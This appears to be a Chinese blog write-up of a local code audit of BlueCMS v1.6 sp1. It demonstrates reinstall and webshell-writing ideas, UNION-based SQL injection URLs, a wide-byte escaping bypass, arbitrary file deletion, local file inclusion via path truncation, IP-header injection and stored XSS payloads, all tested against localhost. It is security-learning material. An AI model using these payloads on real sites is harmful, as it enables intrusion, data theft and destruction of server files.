zoukankan      html  css  js  c++  java
  • BlueCMS代码审计

    BlueCMS版本号为:bluecms_v1.6_sp1

    本地搭建环境后将源代码丢进seay源代码审计系统,开启本地web服务页面访问,大部分白盒+小部分黑盒审计

     搭建好环境后第一步先检查是否有重装漏洞,访问网站install位置,我的网址是:

    http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/
    

      

     可以看到存在重装漏洞,源代码里面没有检测网站是否已经搭建,所以我们可以通过重装获取管理员密码进而在后台写入shell

    同时我们也可以在填入配置的时候,可以尝试直接写入一句话木马进config.php文件,从而拿到shell

    这个时候seay审计工具也审计结束了

     我们可以依次进行分析,找出漏洞

    进入ID=1的漏洞详情

    疑似漏洞点为:

    $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
    

      可以看到$ad_id没有引号包裹,存在数字型SQL注入漏洞,接下来我们需要找到$ad_id参数的输入点,构造利用点

    这里只对输入的$ad_id进行了空格的过滤

    $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
    

      输出位置代码为:

    echo "<!--
    document.write("".$ad_content."");
    -->
    ";
    

      而在ad_js.php文件的开头引入了过滤文件

    require_once dirname(__FILE__) . '/include/common.inc.php';
    

      我们查看common.inc.php文件,有

    if(!get_magic_quotes_gpc())
    {
    	$_POST = deep_addslashes($_POST);
    	$_GET = deep_addslashes($_GET);
    	$_COOKIES = deep_addslashes($_COOKIES);
    	$_REQUEST = deep_addslashes($_REQUEST);
    }
    

      若果没有开启GPC防注入的话,则对POST,GET,COOKIE,REQUEST参数都进行过滤,但是deep_addslashes

    function deep_addslashes($str)
    {
    	if(is_array($str))
    	{
    		foreach($str as $key=>$val)
    		{
    			$str[$key] = deep_addslashes($val);
    		}
    	}
    	else
    	{
    		$str = addslashes($str);
    	}
    	return $str;
    }
    

      仅仅是在addslashes过滤函数基础上的一个修改,而addslashes函数是不能防止数字型注入的,回到刚才漏洞的注入点:

    $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
    

      可以看到这里是数字型的注入,所以我们能够直接进行注入。

    添加单引号:

    http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27
    

      

     从源代码我们已经看出来这是数字型注入了,我们可以不输入单引号,但是如果不是数字型注入,我们尝试使用宽字节绕过GPC

      成功令%df%27合成一个汉字

     宽字节注入绕过GPC实际上是PHP与MySQL交互过程中发生编码转换导致的问题,从上面我们可以看到将转义符去除了,进而可以对于字符型注入

    当然这里我们继续使用数字型,使用order by 判断字段数

    http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207
    

      页面没有任何显示,因为在ad_js.php的输出里面是

    echo "<!--
    document.write("".$ad_content."");
    -->
    ";
    

      将输出在源代码中注释了,不会显示在界面中,想要查看也很简单,查看源代码即可

    字段数是7,查看回显位置

    http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7
    

      

     回显位置是7,简单查看一下user用户

     成功读取当前用户,SQL注入漏洞成功利用。

    第二个漏洞点在:

    $db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);
    

      同样可以看到可能存在数字型注入

    $ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
    

      但是在这里将输入的ann_id进行了数字的转换,以至于不能进一步利用

    另外好几个疑似SQL注入的点都是用intval进行了数字转换导致不能利用

    疑似任意文件删除漏洞:

    elseif($act == 'del_pic')
    {
     	$id = $_REQUEST['id'];
     	$db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
     	if(file_exists(BLUE_ROOT.$id))
     	{
     		@unlink(BLUE_ROOT.$id);
     	}
    }
    

      可以看出来,选择动作为删除,传入id参数,先从数据库中将其删除,然后如果本地存在该文件也一并继续删除。

    我们在同目录下创建test.txt

    payload为:

    http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt
    

      

     访问构造的网址

     文件已删除,进一步可删除服务器任意文件

    二更

    继续看疑似漏洞点

    $condition = " AND cat_id IN(SELECT cat_id FROM ".table('category')." WHERE parentid = ".$cid.")";
    

      同样,对于$cid使用了强转,无法利用

    $cid = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '';
    

      

    本地文件包含疑似漏洞点:

     elseif ($act == 'pay'){
     	include 'data/pay.cache.php';
     	$price = $_POST['price'];
     	$id = $_POST['id'];
     	$name = $_POST['name'];
     	if (empty($_POST['pay'])) {
     		showmsg('对不起,您没有选择支付方式ʽ');
     	}
     	include 'include/payment/'.$_POST['pay']."/index.php";
     }
    

      我们到bluecms的文件夹里面去找pay能够选择哪种支付方式:

     alipay,所以我们先构造pay=alipay

     跳转到了支付宝的一个支付界面,接着我们尝试本地文件包含,先尝试%00截断和和windows下点+斜杠截断的方法,把本地phpstudy环境中php版本开到5.3.4以下,因为这两个截断在5.3以后的版本中已经全面修复了。

    alipay同目录下创建log.txt文件,文件内容为:

     

     先尝试00截断:

     页面无回显,我们在源代码中添加一句:

     重新提交POST数据,可以看到页面显示了我们提交后的pay

     应该是引入了过滤函数,将0前面添加了反斜杠防止截断。

    再尝试windows下使用240个连接的点进行截断,我也没数有多少个,反正多输几个再说

     可以看到成功包含了本地文件,存在本地文件包含漏洞

    在user.php中也存在疑似任意文件删除

    elseif($act == 'del_pic'){
     	$id = $_REQUEST['id'];
     	$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
     	if(file_exists(BLUE_ROOT.$id)){
     		@unlink(BLUE_ROOT.$id);
     	}
     }
    

      可以看到这一段与之前publish.php是类似的(除了表名不同)

    所以我们简单尝试是否存在任意文件删除,到user.php同目录文件夹下创建test.txt

     构造的payload为:

    http://127.0.0.1/bluecms_v1.6_sp1/bluecms/user.php?act=del_pic&id=test.txt
    

      但是此时页面却报错了

    个人感觉是由于在publish.php中删除,虽然其在数据库中即便没有找到该路径,但是程序选择了继续执行下去,但是在user.php中设置的是如果没有找到该路径,就抛出错误,同时不再继续进行,故这里不能进行任意文件的删除。

    在user.php中另外一处疑似任意文件删除漏洞

    	if (!empty($_POST['face_pic1'])){
            if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
               showmsg('ֻ֧只支持本站相对路径地址');
             }
            else{
               $face_pic = trim($_POST['face_pic1']);
            }
        }else{
    		if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
    			@unlink(BLUE_ROOT.$_POST['face_pic3']);
    		}
    	}
    

      可以看到在else中对于POST输入的face_pic3没有进行其余的检查而直接@unlink删除了文件。

    同样先创建test.txt文件

    hackerbar构造:

     

    运行后更新个人资料成功

     同时目录下的test.txt文件已被删除

    bluecms中获取用户IP地址是通过:

    function getip()
    {
    	if (getenv('HTTP_CLIENT_IP'))
    	{
    		$ip = getenv('HTTP_CLIENT_IP'); 
    	}
    	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    	{ //获取客户端用代理服务器访问时的真实ip 地址
    		$ip = getenv('HTTP_X_FORWARDED_FOR');
    	}
    	elseif (getenv('HTTP_X_FORWARDED')) 
    	{ 
    		$ip = getenv('HTTP_X_FORWARDED');
    	}
    	elseif (getenv('HTTP_FORWARDED_FOR'))
    	{
    		$ip = getenv('HTTP_FORWARDED_FOR'); 
    	}
    	elseif (getenv('HTTP_FORWARDED'))
    	{
    		$ip = getenv('HTTP_FORWARDED');
    	}
    	else
    	{ 
    		$ip = $_SERVER['REMOTE_ADDR'];
    	}
    	return $ip;
    }
    

      实际上使用XFF是能够绕过的,大概看了一下,对于ban掉的IP也是通过XFF获取到的IP地址来判断的,并不安全

    在guest_book.php文件中调用了获取到的IP地址存储到数据库中:

    elseif ($act == 'send')
    {
    	$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
    	$rid = intval($_POST['rid']);
     	$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
     	$content = nl2br($content);
     	if(empty($content))
     	{
     		showmsg('评论内容不能为空');
     	}
    	$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
    			VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
    	$db->query($sql);
    	showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
    }
    

      $online_ip是在guest_book.php包含的common.inc.php文件中获取到的:

    $online_ip = getip();
    

      getip函数在common.fun.php中,上面我们显示过代码,这里不再赘述。

    虽然整个代码里面开启了SQL防注入以及参数过滤,但是在PHP5之后使用$_SERVER取到的header字段不会受到GPC的影响,而在header注入中最常见也是程序员经常会忽略的地方就是user-agent,referer以及client-ip/X-Forwarded-For,我们这里就是利用这个特性钻了空子而注入。

    先在网页上尝试留言

     留言成功,使用burpsuite抓包,使用client-ip伪造ip地址

     这里有很多种注入方式,我们简单回显当前数据库用户

    明天再更,找一些XSS漏洞

    三更

    找一下XSS漏洞,XSS漏洞经常出现在文章发表,评论回复,留言以及资料设置等地方,这里我们根据功能点去寻找

    来到留言反馈界面

    http://127.0.0.1/bluecms_v1.6_sp1/bluecms/guest_book.php
    

      

     代码里有:

    $content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
    

      对于我们输入的正文content进行了XSS过滤

    昨天有一个漏洞是client-ip进行注入,尝试了一下在伪造ip中添加XSS攻击脚本,但是getip()获取的长度有限制,不能构成攻击,但是这里确实是存在XSS漏洞,将guest_book.htm显示IP代码修改一下:

    发表于:{#$guest_list[g].add_time|date_format:"%Y-%m-%d %H:%M:%S"#}   IP: <script>{#$guest_list[g].ip#}</script>
    

      在IP处添加了script来显示。

     如果没有长度限制,应该将script添加到client-ip里面,发送留言

     修改成有漏洞的代码了hhh。

    继续寻找存储型的XSS漏洞,存储型XSS漏洞需要寻找未过滤的输入点和未过滤的输出函数,看一下个人资料处

     这里的个人资料是可以修改的,查看输入个人资料处代码

    $birthday = trim($_POST['birthday']);
    $sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
    $address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
    

      看上去只对地址进行了XSS的过滤,再看看输出的位置

    $user = $db->getone("SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']));
    $ann_arr = get_ann(0, 8);
    template_assign(array(
    				'act', 
    				'user', 
    				'current_act', 
    				'ann_arr'
    			), 
    			array(
    				$act, 
    				$user, 
    				'会员中心',
    				$ann_arr
    			)
    		);
    $smarty->display('user.htm');
    

      将登陆用户的信息从数据库中提取出来,并且以user.htm为模板显示出来,模板部分代码为:

    实际上经过测试此处能够XSS的输入框有两处:分别是邮箱,用户头像

    因为现居住地经过了过滤,QQ,办公电话有长度限制,出生日期我不知道怎么设定的,应该是有输入规范2020-4-22这种,不能输入不合法的数字:

     而邮箱处显示代码为:

    <td align="left"><input name="email" type="text" value="{#$user.email#}" class="inputbox" /></td>
    

      我们输入payload为:

    <script>alert(2)</script></td>//
    

      个人头像处显示代码为:

    <td align="left"><input type="text" name="face_pic1" value="{#$user.face_pic#}" class="inputbox" /></td>
    

      我们输入payload为:

    "/></td><script>alert(/xss/);</script>//
    

      确认修改后访问user.php

     成功执行存储型XSS。

    把《代码审计》一书看完了,接下来需要慢慢审小型CMS,印证自己看书时的一些想法,并且熟练运用书中的技巧,争取在上半年拿到CVE吧

  • 相关阅读:
    Hive创建表格报Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask. MetaException的错误
    Hive本地模式安装及遇到的问题和解决方案
    CentOS6 编译安装Mysql5.6.26
    数据结构全攻略--学好数据结构的必经之路
    JAVA项目打开出现红色感叹号!
    前端语言html
    1 利用Anaconda完美解决Python 2与python 3的共存问题
    0 Windows上安装Anaconda和python的教程详解
    回溯算法
    建立结构体
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/12739864.html
Copyright © 2011-2022 走看看